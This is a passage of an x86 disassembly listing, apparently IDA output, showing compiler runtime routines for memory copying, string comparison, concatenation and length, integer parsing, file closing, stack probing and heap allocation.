		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------


loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------


loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------


loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld


loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------


loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------


loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C


loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi


loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0


loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_4397AC, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------


loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------


loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE


loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx


loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_4397AC, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------


loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------


loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax


loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------


loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7


loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4


loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi


loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9


loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]


loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------


loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------


loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------


loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------


loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi


loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC


loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD


loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------


loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]


loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56


loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------


loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4


loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------


loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0


loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0


loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------


loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50


loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C


loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73


loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B


loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_48A074
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4


loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2


loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_48B688
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_48B680
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------


loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi


loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_43B7E4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------


